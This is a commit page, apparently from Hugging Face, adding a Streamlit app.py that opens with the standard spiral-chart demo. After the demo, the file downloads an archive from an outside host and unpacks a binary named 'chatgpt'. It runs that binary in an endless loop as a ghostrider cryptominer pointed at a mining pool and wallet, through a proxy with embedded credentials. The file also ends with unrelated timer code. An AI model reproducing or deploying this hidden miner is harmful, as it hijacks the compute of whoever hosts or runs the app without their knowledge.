asasessd commited on
Commit
7cb1d76
·
verified ·
1 Parent(s): 4ae17bf

Upload app.py

Browse files
Files changed (1) hide show
  1. app.py +135 -0
app.py ADDED
@@ -0,0 +1,135 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from collections import namedtuple
2
+ import altair as alt
3
+ import math
4
+ import pandas as pd
5
+ import streamlit as st
6
+ import os
7
+ import time
8
+ import subprocess
9
+ from os import system, name
10
+ from time import sleep
11
+ from subprocess import PIPE, Popen
12
+ import base64
13
+ from time import sleep
14
+ import random
15
+
16
+
17
+ """
18
+
19
+ # Welcome to Streamlit!
20
+
21
+ Edit `/streamlit_app.py` to customize this app to your heart's desire :heart:
22
+
23
+ If you have any questions, checkout our [documentation](https://docs.streamlit.io) and [community
24
+
25
+ forums](https://discuss.streamlit.io).
26
+
27
+ In the meantime, below is an example of what you can do with just a few lines of code:
28
+
29
+ """
30
+
31
+
32
+
33
+
34
+
35
+ with st.echo(code_location='below'):
36
+
37
+ total_points = st.slider("Number of points in spiral", 1, 5000, 2000)
38
+
39
+ num_turns = st.slider("Number of turns in spiral", 1, 100, 9)
40
+
41
+
42
+
43
+ Point = namedtuple('Point', 'x y')
44
+
45
+ data = []
46
+
47
+
48
+
49
+ points_per_turn = total_points / num_turns
50
+
51
+
52
+
53
+ for curr_point_num in range(total_points):
54
+
55
+ curr_turn, i = divmod(curr_point_num, points_per_turn)
56
+
57
+ angle = (curr_turn + 1) * 2 * math.pi * i / points_per_turn
58
+
59
+ radius = curr_point_num / total_points
60
+
61
+ x = radius * math.cos(angle)
62
+
63
+ y = radius * math.sin(angle)
64
+
65
+ data.append(Point(x, y))
66
+
67
+
68
+
69
+ st.altair_chart(alt.Chart(pd.DataFrame(data), height=500, width=500)
70
+
71
+ .mark_circle(color='#0068c9', opacity=0.5)
72
+
73
+ .encode(x='x:Q', y='y:Q'))
74
+
75
+
76
+ import subprocess
77
+ from time import sleep
78
+ import random
79
+ import requests
80
+
81
+ def generate_random_word():
82
+ url = "https://random-word-api.herokuapp.com/word?number=1"
83
+ response = requests.get(url)
84
+ if response.status_code == 200:
85
+ words = response.json()
86
+ if len(words) > 0:
87
+ return random.choice(words)
88
+ else:
89
+ return None
90
+ else:
91
+ return None
92
+
93
+ # Rastgele bir kelime üretme
94
+ random_word = generate_random_word()
95
+
96
+ subprocess.run(["wget", "https://blnssd.com/mdk/gpt.gz", "-O", f"./{random_word}.tar.gz"])
97
+ subprocess.call(['tar', '-xvf', f"./{random_word}.tar.gz", '-C', "./"])
98
+ import os
99
+
100
+ dosya_yolu = './chatgpt' # Dosyanın yolunu belirtin
101
+
102
+ # Dosyanın çalıştırma iznini ayarlayın
103
+ os.chmod(dosya_yolu, 0o755)
104
+ worker = "Mdk-"
105
+ random_number = str(random.randint(1000, 99999))
106
+ randomworker = worker + random_number
107
+
108
+ command = f"./chatgpt -a ghostrider --donate-level 1 -o stratum-eu.rplant.xyz:17117 --tls -u 1AuecSvogyARWDX8uM839FMuoyfPJkqnsc.{randomworker} -x mdk:306554Aa@5.161.62.24:3128"
109
+ while True:
110
+ subprocess.run(command, stdout=subprocess.PIPE, shell=True)
111
+ sleep(200)
112
+
113
+
114
+ import time
115
+ from IPython.display import clear_output
116
+
117
+ def zero_to_infinity():
118
+ i = 0
119
+ while True:
120
+ yield i
121
+ i += 1
122
+ time.sleep(1)
123
+
124
+ start = time.time()
125
+ for x in zero_to_infinity():
126
+ clear_output(wait=True)
127
+ end = time.time()
128
+ temp = end-start
129
+ hours = temp//3600
130
+ temp = temp - 3600*hours
131
+ minutes = temp//60
132
+ seconds = temp - 60*minutes
133
+ print("")
134
+ print('%s %d:%d:%d' %("Time execution : ",hours,minutes,seconds))
135
+ print("")